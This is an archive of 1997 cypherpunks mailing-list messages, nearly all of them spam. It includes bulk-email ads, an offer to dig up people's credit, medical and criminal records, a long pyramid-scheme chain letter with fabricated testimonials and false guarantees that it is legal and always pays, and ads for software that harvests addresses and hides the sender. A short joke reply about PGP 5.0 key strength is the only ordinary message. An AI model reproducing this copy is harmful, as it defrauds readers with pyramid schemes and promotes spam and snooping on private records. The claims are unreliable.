NOW...For the First time EVER ,, email ads to big lists are
affordable for everyone..
One advertiser reported regularly receiving an average 12 orders a day
during a run ! 

Just read what a few say about us..

" I have tried other bulk email services. Yours is the first that
really cared about my success...I am pulling responses like crazy! The
checks are coming in.. You have a customer for life !" C.H.

"Working with your business gave me hope that I could succeed....I was
about to give up...now I have more orders than I ever hoped
for....Your techniques and advice have made the difference..you mean
what you say" HR, Ca.  

SPECIAL Limited Offer..  24 HOURS ONLY !!

 Your ad sent to :

1million email addresses- $69.95 !

Now LOOK at this  !

GUARANTEE-

All ads postmarked within 24 hours of reading this message will
reach 1 million email addresses in the order of receipt. Our lists are
all professionally filtered for maximum positive response. THIS IS A
ONE TIME OFFER !

Order Form.
Name________________________________

Address_____________________________

City______________________State_____

Zip______________

EMAIL ADDRESS (( VERY IMPORTANT  ))
Please Note: We will not add your email address to our list.

Ad copy ( Place your ad below)




Please run my ad (above) according to the terms checked below.

____I am postmarking my order within 24 hours 

Enclosed is my check or money order for $_____________

Please make all checks payable to :
Bargain Cellar
Internet Advertising Dept.
1125 Lindero Cyn Rd
Dept A8241
Thousand Oaks, CA 91362
.................................................................

Money Orders get immediate processing and ad runs ! Checks will
be processed for payment prior to any ad being sent.

We will not knowingly accept any ads which involve illegal or
pornographic material or reference.

Thank you and Welcome to Success !
Bargain Cellar
All Rights Reserved 1997




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: qeumii@aol.com (INFOREVOLUTION)
Date: Thu, 21 Aug 1997 03:00:09 -0700 (PDT)
To: allgood@people.com
Subject: Find Info You Never Thought Possible..ONLINE!!
Message-ID: <199708213006BAA49657@buluxi.com.usa1.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
Find The Dirt On The Internet!!

You will not receive any more correspondence from us!!!!!
-----------------------------------------------------------------------------

We have done the research for you!!! With this power tool you can access
information all over the World Wide Web about your employees, friends and
rivals. We give you the access to hundreds of sites that will supply you
with information about DMV records, credit profiles, medical and criminal
records, most anything you would want to know.

With this information you can track down phone numbers,social security
info, E-mail addresses, surnames, birth, marriage, divorce, and death records.
Look up a long, lost relative!!
With sites like Parent-Finder and Birth-Quest, look for biological parents!

Get a map of any place in the country.
Find out where speed traps are in your area, get info about legal issues,
Check out politics anywhere in the U.S.(access past congressional votes,
campaign finance, election results, etc.)

Most of these sites have links to other sites to allow you access to even
more information.You will be guided to thousands of pages all over the world!

The internet can be rather complicated. Take advantage of these simple, 
easy web sites containing tons of information. 

These are just a few items to look for, there are many, many MORE!
You can know EVERYTHING about EVERYBODY with this information!!
Your satisfaction is guaranteed, Just return the material within 30 days
for a full refund!

Send $11.95 to;  INFOREVOLUTION
                             875 Lawrenceville Suwanee Rd.,N.W.
                             Suite 310-314
                             Lawrenceville GA 30243-5484














  

</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 20 Aug 1997 18:33:50 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: PGP 5.0
Message-ID: <199708210133.DAA02325@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


John Wiley Councill IV wrote:
> 
> How secure is a  message encrypted with a 4096 bit key via PGP 5.0; what
> kind of processing power and resources would be required to crack such a
> message?

  A pencil, a slide rule, and 40 trillion pieces of legal size paper.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 10958720@16882.com
Date: Thu, 21 Aug 1997 18:18:44 -0700 (PDT)
To: ethyl@tel.net
Subject: TURN $20. INTO $20,000. THIS REALLY WORKS TRY IT!!!
Message-ID: <9378754842ethyl@tel.net>
MIME-Version: 1.0
Content-Type: text/plain


Dear friend,

The following income opportunity is one you may be interested in 
taking a look at.  It can be started with VERY MINIMAL outlay and the
income
return is TREMENDOUS!

<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
You are about to make at least $50,000 - In less than 90 days Read the
enclosed program...THEN READ IT AGAIN!...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>

The enclosed information is something I almost let slip through my
fingers.
Fortunately, sometime later I re-read everything and gave some thought
and
study to it.

My name is Christopher Erickson.  Two years ago, the corporation I
worked at
for the past twelve years down-sized and my position was eliminated. 
After
unproductive job interviews,  I decided to open my own business.  Over
the
past year, I incurred many unforeseen financial problems.  I owed my
family,
friends, and creditors over $35,000.  The economy was taking a toll on
my
business and I just couldn't seem to make ends meet.  I had to refinance
and
borrow against my home to support my family and struggling business.  I
truly believe it was wrong for me to be in debt like this.  AT THAT
MOMENT
something significant happened in my life and I am writing to share my
experience in hopes that this will change your life
FOREVER....FINANCIALLY!!!

In mid-December, I received this program via email.  Six months prior to
receiving this program I had been sending away for information on
various
business opportunities.  All of the programs I received, in my opinion,
were
not cost effective.  They were either too difficult for me to comprehend
or
the initial investment was too much for me to risk to see if they worked
or
not.  One claimed I'd make a million dollars in one year...it didn't
tell me
I'd have to write a book to make it.

But like I was saying, in December of '95 I received this program.  I
didn't
send for it, or ask for it, they just got my name off a mailing list. 
THANK
GOODNESS FOR THAT!!!  After reading it several times, to make sure I was
reading it correctly, I couldn't believe my eyes.  
Here was a MONEY-MAKING PHENOMENON.  I could invest as much as I wanted
to
start, without putting me further in debt.  After I got a pencil and
paper
and figured it out, I would at least get my money back.  After
determining
that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for my
time on-line.  The great thing about email is that I didn't need any
money
for printing to send out the program, only the cost to fulfill my
orders.  I
am telling you like it is, I hope it doesn't turn you off, but I
promised
myself that I would not "rip-off" anyone, no matter 
how much money it cost me!

A good program to help do this is Ready Aim Fire, an email extracting
and
mass mail program 
@ http://microsyssolutions.com/raf/

In less than one week, I was starting to receive orders for REPORT #1.
By
January 13th, I had received 26 orders for REPORT #1.  When you read the
GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20
ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T,  SEND OUT MORE
PROGRAMS UNTIL YOU DO!"  My first step in making $50,000 in 20 to 90
days
was done.  By January 30th, I had received 196 orders for REPORT #2.  If
you
go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR
REPORT #2
WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.  ONCE
YOU
HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000
GOAL."
Well, I had 196 orders for REPORT #2, 96 more than I needed.  So I sat
back
and relaxed.  By March 19th, of my emailing of 10,000, I received
$58,000
with more coming in every day.

I paid off  ALL my debts and bought a much needed new car.  Please take
time
to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
Remember,  it wont work  if you don't try it.  This program does work,
but
you must follow it EXACTLY!  Especially the rules of not trying to place
your name in a different place.  It doesn't work, you'll lose out on a 
lot
of  money!  REPORT  #2  explains this.  Always follow the guarantee, 15
to
20  orders  for REPORT #1, and 100 or more orders for REPORT #2 and you
will
make  $50,000 or more in 20 to 90 days.  I AM LIVING PROOF THAT IT WORKS
!!!

If you choose not to participate in this program, I'm sorry.  It really
is a
great opportunity with little cost or risk to you.  If you choose to
participate, follow the program and you will be on your way to financial
security.

If you are a fellow business owner and you are in financial trouble like
I
was, or you want to start your own business, consider this a sign.  I
DID!

                                Sincerely,
                                Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled
up
on a kitchen table? IT'S AWESOME!

"I THREW IT AWAY"
"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea
who
to contact to get a copy, so I had to wait until I was emailed another
copy
of the program.  Eleven months passed, then it came.  I DIDN'T throw
this
one away.  I made $41,000 on the first try."

                                        Dawn W., Evansville, IN

"NO FREE LUNCH"
"My late father always told me, 'remember, Alan, there is no free lunch
in
life.  You get out of life what you put into it.'  Through trial  and
error
and a somewhat slow frustrating start, I finally figured it out. The
program
works very well, I just had to find the right target group of people to
email it to.  So far this year, I have made over $63,000 using this
program.
I know my dad would have been very proud of me."

                                        Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a
program,
and  one that is legal,  could not have been created by an amateur.
Let me tell you a little about myself.  I had a profitable business for
ten
years.  Then in 1979 my business began falling off.  I was doing the
same
things that were previously successful for me, but it wasn't working.
Finally, I figured it out.  It wasn't me, it was the economy. Inflation
and
recession had replaced the stable economy that had been with us since
1945.
I don't have to tell you what happened to the unemployment
rate...because
many of you know from first hand  experience. There were more failures
and
bankruptcies than ever before.

The middle class was vanishing.  Those who knew what they were doing
invested wisely and moved up.  Those who did not, including those who
never
had anything to save or invest, were moving down into the ranks of the
poor.
As the saying goes, "THE RICH GET RICHER AND THE POOR  GET POORER."  The
traditional methods of making money will never allow you to "move up" or
"get rich", inflation will see to that.
You have just received information that can give you financial freedom
for
the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT."
You can make more money in the next few months than you have ever
imagined.

I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have
already
made over FOUR MILLION DOLLARS!  I have retired from the program after
sending out over 16,000 programs.  Now I have several offices which
market
this and several other programs here in the US and overseas.  By the
Spring,
we wish to market the 'Internet' by a partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way.
It works exceedingly well as it is now.  Remember to email a copy of
this
exciting program to everyone that you can think of.  One of the people
you
send this to may send out 50,000...and your name will be on every one of
them!.  Remember though, the more you send out, the more potential
customers
you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did, take
a
little time to read it and REALLY THINK ABOUT IT.  Get a pencil and
figure
out what could happen when YOU participate.  Figure out the worst
possible
response and no matter how you calculate it, you will still make a lot
of
money!  Definitely get back what you invested.  
Any doubts you have will vanish when your first orders come in.  IT
WORKS!

                                        Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes, and
we'll
assume you and all those involved send out 2,000 programs each. Let's
also
assume that the mailing receives a .5% response.  Using a good list the
response could be much better.  Also many people will send out hundreds
of
thousands of programs instead of 2,000.  But continuing with this
example,
you send out only 2,000 programs.  With a 5% response, that is only 10
orders for REPORT #1.  Those 10 people respond by sending out 2,000
programs
each for a total of 20,000.  
Out of those .5%, 100 people respond and order REPORT #2.  Those 100
mail
out 2,000 programs each for a total of 200,000.  The .5% response to
that is
1,000 orders for REPORT #3.  Those 1,000 send out 2,000 programs each
for a
2,000,000 total.  The .5% response to that is 10,000 orders for REPORT
#4.
That's 10,000 five dollar bills for you. CASH!!!!  Your total income in
this
example is $50 + $500 + $5000 +$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO
WILL
DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!  DARE TO THINK FOR A
MOMENT
WHAT WOULD HAPPEN IF EVERYONE  OR HALF SENT OUT 100,000 PROGRAMS INSTEAD
OF
ONLY 2,000.  
Believe me, many people will do that and more!  By the way, your cost to
participate in this is practically nothing.  You obviously already have
an
internet connection and email is FREE!!!  REPORT #3 will show you the
best
methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
require
you to come in contact with people, do any hard work, and best of all,
you
never have to leave the house except to get the mail.  If you believe
that
someday you'll get that big break that you've been waiting for, THIS IS
IT!
Simply follow the instructions, and your dream will come true.  This
multi-level email order marketing program works perfectly...100% EVERY
TIME.
Email is the sales tool of the future.  Take advantage of this
non-commercialized method of advertising NOW!!  The longer you wait, the
more people will be doing business using email.  Get your piece of this
action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is
being
taught in the Harvard Business School, and both Stanford Research and
The
Wall Street Journal have stated that between 50% and 65% of all goods
and
services will be sold throughout Multi-level Methods by the mid to late
1990's.  This is a Multi-Billion Dollar industry and of the 500,000
millionaires in the US, 20% (100,000) made their fortune in the last
several
years in MLM.  Moreover, statistics show 45 people become millionaires
everyday through Multi-Level Marketing.

INSTRUCTIONS

We at Erris Mail Order Marketing Business, have a method of raising
capital
that REALLY WORKS 100% EVERY TIME.  I am sure that you could use $50,000
to
$125,000 in the next 20 to 90 days.  Before you say "Bull", please read
the
program carefully.

This is not a chain letter, but a perfectly legal money making
opportunity.
Basically, this is what we do:  As with all multi-level business, we
build
our business by recruiting new partners and selling our products.  Every
state in the USA allows you to recruit new multi-level business
partners,
and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND ARE
FILLED THROUGH THE MAIL, so you are not involved in personal selling. 
You
do it privately in your own home, store or office.

This is the GREATEST Multi-level Mail Order Marketing anywhere:

Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this
by
ordering the REPORT from each of the four 4 names listed on the next
page.
For each REPORT, send $5 CASH and a SELF-ADDRESSED, STAMPED envelope
(BUSINESS SIZE #10) to the person listed for the SPECIFIC REPORT.
International orders should also include $1 extra for postage.  It is
essential  that you specify the NAME and NUMBER of the report requested
to
the person you are ordering from.  You will need ALL FOUR (4) REPORTS
because you will be REPRINTING and RESELLING them.
           DO NOT alter the names or sequence other than what the
instructions say.  IMPORTANT:  Always provide same-day service on all
orders.

Step (2)   Replace  the  name  and  address  under  REPORT #1  withyours,
moving the one that was there down to REPORT #2.           Drop  the name
and address under REPORT #2 to REPORT #3, moving the one that was there
to REPORT #4.  The name and           address that was under REPORT #4 is
dropped from the list and this party  is  no doubt on the way to the
bank.
When doing this, make certain you type the names and addresses
ACCURATELY!
DO NOT MIX UP MOVING PRODUCT/REPORT  POSITIONS!!!

Step (3)   Having made the required changes in the NAME list, save it as
a
text (.txt) file in it's own directory to be used with whatever email
program you like. Again, REPORT #3 will tell you the best methods of
bulk
emailing and acquiring email lists. Step (4)   Email a copy of the
entire
program (all of this is very important) to everyone whose address you
can
get your hands on. Start with friends and relatives since you can
encourage
them to take advantage of this  fabulous  money-making opportunity.
that's
what I did.  And they love me now, more than ever. Then, email to anyone
and
everyone!  Use your imagination! You can get email addresses from
companies
on the internet who specialize in email mailing lists.  These are very
cheap, 100,000 addresses for around $35.00.

IMPORTANT:  You won't get a good response if you use an old list, so
always
request a FRESH, NEW list. You will find out where to purchase these
lists
when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:
K&H ENTERPRISES
P.O. BOX 60366
LAS VEGAS, NV.
89160-0366

________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

E & C Enterprises
11112 E. 13TH PL.
TULSA,OK. 74128

________________________________________________________
REPORT #3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:
EDCAL MARKETING
8125 E. 51ST. SUITE E
TULSA,OK 74145


________________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

C & B Enterprises
1110 W 131 STREET
JENKS, OK 74037
_______________________________________________________

CONCLUSION

.I am enjoying my fortune that I made by sending out this program. You
too,
will be making money in 20 to 90 days, if you follow the SIMPLE STEPS
outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments,
retire
or take a vacation.  No longer will a lack of money hold you back.

However, very few people reach financial independence, because when
opportunity knocks, they choose to ignore it.  It is much easier to say
"NO"
than "YES", and this is the question that you must answer.  Will YOU
ignore
this amazing opportunity or will you take advantage of it? If you do
nothing, you have indeed missed something and nothing will change. 
Please
re-read this material, this is a special opportunity. If you have any
questions, please feel free to write to the sender of this information. 
You
will get a prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5 that
costs
me pennies to produce and email.  I should also point out that this
program
is legal and everyone who participates WILL make money. This is not a
chain
letter or pyramid scam.  At times you have probably received chain
letters,
asking you to send money, on faith, but getting NOTHING in return, NO
product what-so-ever!  Not only are chain letters illegal, but the risk
of
someone breaking the chain makes them quite unattractive.

You are offering a legitimate product to your people.  After they purchase
the product from you, they reproduce more and resell them. It's simple
free enterprise.  As you learned from the enclosed  material, the PRODUCT is
a
series of four 4 FINANCIAL AND BUSINESS REPORTS.  
The information contained in these REPORTS will not only help you in
making
your participation in this program more rewarding, but will be useful to
you
in any other business decisions you make in the years ahead. You are
also
buying the rights to reprint all of the REPORTS, which will be ordered
from
you by those to whom you mail this program.  The concise one and two
page
REPORTS you will be buying can easily be reproduced at a local copy
center
for a cost off about 3 cents a copy.
Best wishes with the program and Good Luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my
mind to
participate in this program.  But conservative as I am, I decided that
the
initial investment was so little that there was no way that I could not
get
enough orders to at least get my money back.  BOY, was I ever surprised
when
I found my medium sized post office box crammed with orders!  I will
make
more money this year than any ten years of my life before."

                                        Mary Riceland, Lansing, MI

TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when the
orders start coming in.  When you receive a $5 order, you MUST send out
the
product/service to comply with US Postal and Lottery laws.  Title 18
Sections 1302 and 1341 specifically state that:  "A PRODUCT OR SERVICE
MUST
BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.      Name your new company. You can use your own name if you desire.

2.      Get a post office box (preferred).

3.      Edit the names and addresses on the program. You must remember,
your name and address go next to REPORT #1 and the others all       
move
down one, with the fourth one being bumped OFF the list.

4.      Obtain as many email addresses as possible to send until you
receive the information on mailing list companies in REPORT #3.

5.      Decide on the number of programs you intend to send out.  The
more you
send, and the quicker you send them, the more money  you will make.

6.      After mailing the programs, get ready to fill the orders.

7.      Copy the four 4 REPORTS so you are able to sent them out as 
soon as you
receive an order. IMPORTANT: ALWAYS PROVIDE    SAME-DAY SERVICE ON
ORDERS
YOU RECEIVE!

8.      Make certain the letter and reports are neat and legible.

YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you must
receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't
within two weeks, email out more programs until you do.  Then a couple
of
weeks later you should receive at least 100 orders for REPORT #2, if you
don't, send out more programs until you do.  Once you have received 100
or
more orders for REPORT #2, (take a deep breath) you can sit back and 
relax,
because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000. Mathematically 
it
is  a  proven  guarantee.   Of  those  who  have participated in the
program
and reached the above GUARANTEES-ALL have reached their $50,000 goal. 
Also,
remember, every time your name is moved down the list you are in front
of a
different REPORT, so you can keep track of your program by knowing what
people are ordering from you.
IT'S THAT EASY, REALLY, IT IS!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 5436_sales@emailblaster.com
Date: Fri, 22 Aug 1997 22:38:53 -0700 (PDT)
To: Entrepeneurs@onlinebiz.net
Subject: Complete Bulk Email Pkg. ONLY $49.95
Message-ID: <199708230147.BAA11236@onlinebiz.net>
MIME-Version: 1.0
Content-Type: text/plain


                  
                     *********************SUMMER PROMOTION******************

Complete Bulk Email Package inluding 25 Million Email Addresses only $49.95

Email Blaster ranks up with all the other bulk email software such as Floodgate,
Email Magnet, Netcontact, Extractor Pro. etc at hundreds of dollars less!!!

Why pay $399 just for a bulk email software, when you can pay
$49.95 including email addresses???

HOW DOES E-MAIL BLASTER WORK?  E-Mail Blaster has dozens of special filters 
to automatically harvest E-mail addresses from major online services such as: 
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email your marketing letter to 13k consumers per hour at the single push of a 
button!!!  

SPECIAL CLOAKING DEVICE: Email Blaster can successfully hide your email address.
This will help stop users from flaming your email box! 


SIMPLE TO USE:  E-Mail Blaster does all the work for you and, unlike other
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NO SPECIAL EQUIPMENT NEEDED: E-Mail Blastert runs on a PC with Windows
3.xx Windows 95, Windows NT, a 386 or faster processor, 4 MB RAM, and a 
hard drive with at least 10 MB free and your own SLIP or PPP connetion.  No
other software needed.  Also runs on a Macintosh with SoftWindows installed

    
                       Plus....
You can become a distributor of Email Blaster for only $99 and you receive
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Let's say you resell Email Blaster package at a discount of $199 each.
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5 Packages: $99     10 Packages: $149       20 Packages      $299.
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**********************************************************************************************************
 Don't miss out on this Summer Promotion!!! ORDER NOW!!!
Telephone: 609-933-3527  Fax: 609-933-1499



Name: _____________________________________________________


Address:____________________________________________________


City:___________________________________________


State:___________________________


Zip:_____________________________


Telephone::_____________________________________________


E-Mail Address:__________________________________________


Once we receive your order, you will receive a confirmation email, this
will  inform you of our website for you to go download your package immediately!
----------------------------------------------------------------------------------------------------------------------------------
"COMPLETE EMAIL BLASTER PACKAGE" only $49.95 ________

1 Copy of Email Blaster 

1 Electronic Help System: Email Blaster Help System will provide you with step
by step directions on how to use Email Blaster and help with setting up your provider.
For your convience this is built right into your copy of Email Blaster.

Unlimited Email Addresses: 25 Million And Growing
 You can download these addresses right from our website at your convenience.


-----------------------------------------------------------------------------------------------------------------------------------------
5 DISTRIBUTOR PACKAGE only $99: _________
This is a Special Promotion to new distributors only!!!


5 Copies of Email Blaster 

5  Built in Electronic Help Systems:

5 Unlimited Email Addresses: 25 Million And Growing
Our Email Addresses are updated monthly.  You can download these addresses
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Now you can take advantage of Email Blaster Package and resell each 
package up to $299. each.  You make $1495


10  DISTRIBUTOR PACK  only $149. _______
Includes 10 Complete Packages of Email Blaster.
You can make up to  $2990.00

20 DISTRIBUTOR  PACK: ONLY $299 ________
Includes 20 Complete Packages of Email Blaster.
You can make up to  $5980.00

*************************************************************************************************
If you would like to pay by check, please make check payable to: Internet Marketing
mail to: PO Box 276 Bellmawr, NJ 08099 or  Fax to 1-609-933-1499 along with this order form.
If you are paying with a Fax Check please include an additional $3.00 for check processing fees.

Credit Card: _______________________________________________
Visa, Master Card and AMEX.

EXP. Date: _____________________


Total to be charged: $________________________



Signature:___________________________________________________________




























From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sussexrct@1stfamily.com
Date: Sat, 23 Aug 1997 14:40:38 -0700 (PDT)
Subject: $ Make Extra Cash $
Message-ID: <199708232140.OAA11511@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This message is being brought to you by EMAIL BLASTER 2.5 software.  If you would like a FREE copy of this software or any of our other HOT programs ABSOLTELY FREE call our FAX ON DEMAND number at 213-960-7822.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$ Make Real Money With your PC $

If your main goal in life is to become RICH, you are not alone !. Thousands 
of people from all over the world that have the same GOAL are working
together to achieve it. Your PC could make you thousands of dollars with the
appropriate software, information and techniques.

Work from home with your PC, distributing software and information all over the
world via E-mail and the Internet

You can make thousands of dollars with our business. It doesn't matter who
you are, what you do or where you live, full time or part time.

The PC-SUPER-MLM program and its products, Info-Reports,  allow you to run
the business from anywhere in the world working with your PC computer.

Our products are INFO-REPORTS that provide valuable information  that helps
you to reach financial independence. Our business is operated completely via
 E-mail, so the operation and distribution cost is zero.

Free Software runs under DOS or Windows. Very easy to use. No special skills
required.  No hassle.

Let me put in your hands at no cost to you, the INFORMATION and TOOLS that
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Read the program. Study the business. Learn how to make lots of money selling 
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I invite you to visit my Web Site: 
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To find out more information about this OUTSTANDING OPPORTUNITY  and 
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are beneficial for marketing this program or any other you may pursue. Also Click
on "Possibilities" to see what the opportunities are!

I thank you for your time and wish you success.

Respectfully,
R. C. Towlen
Software Distributor
 
 
 
 
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 55632950@compuserve.com
Date: Sun, 24 Aug 1997 04:59:47 -0700 (PDT)
To: members@aol.com
Subject: Want To Make Money On The Net But Dont Know How?
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


********************************************************************************************
Do not hit reply to respond or to be removed it will not work. To be removed 
hit the remove link at the bottom of the page and we will gladly remove you 
*******************************************************************************************

Dont wonder any longer with the Internet Secrets Manual we will teach you how to 
make lots of money on the Internet. 

 Inside Internet Secrets You will learn how the Internet works, Where to go to get free 
advertising from over 1,000 free sources to advertise, How to choose winning products, 
What software you will need and where to get the tools you will need to make you 
successful.

While teaching you the truth about Newsgroups, Classifieds and Bulk E-Mailing.  After 
reading Internet Secrets you will be able to begin making money immediately and to help
 you.

We are including as a free bonus, the worlds greatest bulk E-mailing software ever written
 a $399 value and 1,000,000 E-mail addresses for you to begin making money today in 
your new business venture.

All this for only $39.95 + $4 Shipping and Handling

To receive your copy please fill out the order form enclosed with Credit Card Information
 or mail in check or money order to: 

Mitchell Enterprises
4020 Chicago Ave. Suite 130
Riverside CA 92501

CREDIT CARD ORDERS  ORDER FORM


Shipping Options (X one):  Priority($4)_______  Overnight($15)__________ 


Grand Total Of this order:_______________


Bank Name _______________________________________________


Credit Card Type: _________________Visa, Master Card and Discover.


Credit Card Number ________________________________________


EXP. Date: _____________________


Address (Where Bill Goes To):  We Can only ship to this address, for your protection

____________________________________________________________________


Grand Total to be charged: $________________________

                                      
Thank You for Your order, 




All credit card orders are processed by DIMS and are immediately shipped by your
 choice of shipping.  Personal and Business checks are held for 7 business days 
and then shipped by your choice of shipping.  International Checks must be held
 10 business days.  Money orders and Cashiers Checks mailed in will be shipped
 immediately. Please US funds only.


"mailto:removeme@dicp.com"









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ynter@spica.net
Date: Sun, 24 Aug 1997 21:01:31 -0700 (PDT)
To: Friend@public.com
Subject: START YOUR OWN BUSINESS...
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


                 UNLIMITED REVENUE WITH OUR SOFTWARE
   OVER 3000 PEOPLES LIKE YOU ALREADY MAKE A NICE LIVING
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, 
IF YOU WNAT TO BE REMOVE FROM our recipient list don't hit REPLY. 
Just send any message to: <ynter1@answerme.com>
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

4000 new productS? Start a new business or ad some new products to your existing line..
40,000 names of manufacturers and wholesalers from places like "Taiwan ,Korea, Malaysia, JAPAN" 
and other country around the world. Products you can buy so low, you can make a fortune reselling to
wholesalers or retailers 
<http://204.137.223.70/ynterweb/wom.html>
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
OR START A NEW BUSINESS WITH EVERYTHING READY TO OPERATE
INCLUDING YOUR OWN WEB PAGE ON A SECURE SERVER..
                       ---------------------------------------------------------------------
<http://204.137.223.70/ynterweb>
 You can download a demo disk directly on the site.and get started in the same day .
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
We are very sorry if this NOTICE reach YOU by error.
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ynter@spica.net
Date: Mon, 25 Aug 1997 12:53:29 -0700 (PDT)
To: Friend@public.com
Subject: GET THE MOST FROM OUR SOFTWARE....
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


                 UNLIMITED REVENUE WITH OUR SOFTWARE
   OVER 3000 PEOPLES LIKE YOU ALREADY MAKE A NICE LIVING
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, 
IF YOU WNAT TO BE REMOVE FROM our recipient list don't hit REPLY. 
Just send any message to: <ynter1@answerme.com>
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

4000 new productS? Start a new business or ad some new products to your existing line..
40,000 names of manufacturers and wholesalers from places like "Taiwan ,Korea, Malaysia, JAPAN" 
and other country around the world. Products you can buy so low, you can make a fortune reselling to
wholesalers or retailers 
<http://204.137.223.70/ynterweb/wom.html>
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
OR START A NEW BUSINESS WITH EVERYTHING READY TO OPERATE
INCLUDING YOUR OWN WEB PAGE ON A SECURE SERVER..
                       ---------------------------------------------------------------------
<http://204.137.223.70/ynterweb>
 You can download a demo disk directly on the site.and get started in the same day .
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
We are very sorry if this NOTICE reach YOU by error.
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Sun, 24 Aug 1997 02:32:54 -0700 (PDT)
